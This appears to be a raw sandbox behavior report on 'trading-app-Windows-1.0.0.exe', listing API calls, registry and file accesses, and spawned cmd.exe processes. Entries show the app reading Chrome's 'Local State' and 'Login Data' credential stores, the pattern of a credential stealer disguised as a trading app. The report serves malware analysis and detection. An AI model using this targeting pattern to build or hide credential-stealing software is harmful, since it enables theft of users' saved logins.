1c0100000a00000000000000ab3f0000020000000000010000010000000000000001cf6d010000000000000048def300854ae874df87e0740b7534d898921f03a06c220398921f03a06c2203a4cfcf74db5001cca4ddf3000000000000000000000000008b0091bdfeffffff0000f300881adc75b31adc7598921f03084020030000000000000000b812e6048b84e07433000000b34a34d84ce2f300000000000000000000000000000000000000000088cadb0190324f06a06c220398921f03b812e60408e3f300e4e2f30081f1bb75b812e60420e8f300b0e4f300c5f1bb7502000000b21abc750000000010e3f3001c60b8750400000008e3f3005c83d074b012e604a090bf75000000000000000000000000 (UID: 00000000-00004416)32:T59d,Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "trading-app-Windows-1.0.0.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00004416.00000000.107553.0041E000.00000004.mdmp, 00000000-00004416.00000000.107553.72B82000.00000002.mdmp, 00000000-00004416.00000001.109475.0041E000.00000004.mdmp, 00000000-00004416.00000001.109475.72914000.00000002.mdmp") Found reference to API "kernel32::GetVersionEx(pr0)i.r3" (Indicator: "GetVersion"; Source: "00000000-00004416.00000000.107553.031D0000.00000004.mdmp, 00000000-00004416.00000001.109475.031D0000.00000004.mdmp, 00000000-00004416.00000002.111392.031D0000.00000004.mdmp")33:Tc52,"trading-app.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "trading-app.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "")34:Ta71,"trading-app.exe" queries volume information of "C:\" at 00000000-00006124-00000C17-710528283 "trading-app.exe" queries volume information of "C:\Users" at 00000000-00006124-00000C17-710528734 "trading-app.exe" queries volume information of "C:\Users\%OSUSER%" at 00000000-00006124-00000C17-710529079 "trading-app.exe" queries volume information of "C:\Users\%OSUSER%\AppData" at 00000000-00006124-00000C17-710529297 "trading-app.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local" at 00000000-00006124-00000C17-710529682 "trading-app.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp" at 00000000-00006124-00000C17-710529951 "trading-app.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1" at 00000000-00006124-00000C17-710530304 "trading-app.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\resources" at 00000000-00006124-00000C17-710530741 "trading-app.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\resources\app.asar" at 00000000-00006124-00000C17-710531334 "trading-app.exe" queries volume information of "C:\Windows\System32\drivers\etc\hosts" at 00000000-00006124-00000C17-711338383 "trading-app.exe" queries volume information of "C:\Windows\Fonts\segoeui.ttf" at 00000000-00006124-00000C17-711683369 "trading-app.exe" queries volume information of "C:\Windows\System32\spool\drivers\color\sRGB Color Space Profile.icm" at 00000000-00006124-00000C17-712382779 "trading-app.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Local State" at 00000000-00006124-00000C17-717593367 "trading-app.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Local State" at 00000000-00006124-00000C17-717689705 "trading-app.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data" at 00000000-00006124-00000C17-717690726 "trading-app.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Local State" at 00000000-00006124-00000C17-749335255 "trading-app.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Local State" at 00000000-00006124-00000C17-749423184 "trading-app.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data" at 00000000-00006124-00000C17-749423930 "trading-app.exe" queries volume information of "C:\Windows\System32\drivers\etc\hosts" at 00000000-00004288-00000C17-73351414335:T50e,"trading-app.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43"; Key: "BLOB") "trading-app.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\0E9612411A0A4ABD15B84FFACBA6DB3166916E75"; Key: "BLOB") "trading-app.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\18F7C1FCC3090203FD5BAA2F861A754976C8DD25"; Key: "BLOB") "trading-app.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\245C97DF7514E7CF2DF8BE72AE957B9E04741E85"; Key: "BLOB") "trading-app.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\3B1EFD3A66EA28B16697394703A72CA340A05BD5"; Key: "BLOB") "trading-app.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25"; Key: "BLOB") "trading-app.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\7F88CD7223F3C813818C994614A89C99FA3B5247"; Key: "BLOB") "trading-app.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\8F43288AD272F3103B6FB1428485EA3014C0BCFE"; Key: "BLOB") "trading-app.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES\92B46C76E13054E104F230517E6E504D43AB10B5"; Key: "BLOB")36:T432,"trading-app-Windows-1.0.0.exe" called "CreateDirectoryW" with parameter %TEMP%\ (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "CreateDirectoryW" with parameter C:\Users (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Temp (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "CreateDirectoryW" with parameter %TEMP%\nse95AF.tmp (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "CreateDirectoryW" with parameter %TEMP%\2wnUXCqaFfb8gqhsxoVwiS2JQj1 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "CreateDirectoryW" with parameter %TEMP%\nse95AF.tmp\7z-out (UID: 00000000-00004416)37:T500,"trading-app.exe" called "NtCreateNamedPipeFile" with parameter "pipe\mojo.6124.7804.16444984069540420653" - (UID: 00000000-00006124) "trading-app.exe" called "NtCreateNamedPipeFile" with parameter "pipe\uv\FFFFFFFFFFFFFFFF-6124" - (UID: 00000000-00006124) "trading-app.exe" called "NtCreateNamedPipeFile" with parameter "pipe\uv\0000000000000000-6124" - (UID: 00000000-00006124) "trading-app.exe" called "NtCreateNamedPipeFile" with parameter "pipe\uv\0000000000000001-6124" - (UID: 00000000-00006124) "trading-app.exe" called "NtCreateNamedPipeFile" with parameter "pipe\uv\0000000000000002-6124" - (UID: 00000000-00006124) "trading-app.exe" called "NtCreateNamedPipeFile" with parameter "pipe\uv\0000000000000003-6124" - (UID: 00000000-00006124) "trading-app.exe" called "NtCreateNamedPipeFile" with parameter "pipe\uv\0000000000000004-6124" - (UID: 00000000-00006124) "trading-app.exe" called "NtCreateNamedPipeFile" with parameter "pipe\mojo.6124.7804.9286532624032301722" - (UID: 00000000-00006124) "trading-app.exe" called "NtCreateNamedPipeFile" with parameter "pipe\mojo.6124.7804.15719478592410128008" - (UID: 00000000-00006124) "trading-app.exe" called "NtCreateNamedPipeFile" with parameter "pipe\mojo.6124.7804.2598634555025846736" - (UID: 00000000-00006124)38:T258e,"trading-app-Windows-1.0.0.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\UXTHEME.dll (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\USERENV.dll (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\SETUPAPI.dll (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\APPHELP.dll (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\PROPSYS.dll (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\DWMAPI.dll (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CRYPTBASE.dll (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\OLEACC.dll (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CLBCATQ.dll (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\NTMARTA.dll (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\VERSION.dll (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\SHFOLDER.dll (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "LoadLibrary" with a parameter %TEMP%\nse95AF.tmp\System.dll (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "LoadLibrary" with a parameter %TEMP%\nse95AF.tmp\nsis7z.dll (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "LoadLibrary" with a parameter %TEMP%\nse95AF.tmp\StdUtils.dll (UID: 00000000-00004416) "trading-app.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shell32-l1-1-0.dll (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter api-ms-win-shcore-scaling-l1-1-1.dll (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter COMCTL32.dll (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter WTSAPI32.dll (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter atlthunk.dll (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter OLEACC.dll (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter api-ms-win-power-base-l1-1-0.dll (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter bcryptprimitives (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter dwmapi.dll (UID: 00000000-00006124) "trading-app.exe" called "LoadLibrary" with a parameter api-ms-win-core-sysinfo-l1-2-1 (UID: 00000000-00006124) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001708) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001708) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001708) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001708) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006724) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006724) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006724) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006724) "trading-app.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004288) "trading-app.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004288) "trading-app.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004288) "trading-app.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004288) "trading-app.exe" called "LoadLibrary" with a parameter bcryptprimitives.dll (UID: 00000000-00004288) "trading-app.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00004288) "trading-app.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00004288) "trading-app.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00004288) "trading-app.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00004288) "trading-app.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004288) "trading-app.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00004288) "trading-app.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shell32-l1-1-0.dll (UID: 00000000-00004288) "trading-app.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004288) "trading-app.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004288) "trading-app.exe" called "LoadLibrary" with a parameter bcryptprimitives (UID: 00000000-00004288) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007736) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007736) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007736) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007736) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000712) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000712) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000712) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000712) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000576) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000576) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000576) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000576) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004580) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004580) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004580) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004580)39:T11df8,"trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter SetDefaultDllDirectories (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter GetUserDefaultUILanguage (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter Call (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter GetVersionEx (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter GetVersionExW (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter Free (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter IsWow64Process2 (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter Int64Op (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter FindFirstStreamW (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter FindNextStreamW (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter Extract (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter GlobalMemoryStatusEx (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter AppPolicyGetThreadInitializationType (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00004416) "trading-app-Windows-1.0.0.exe" 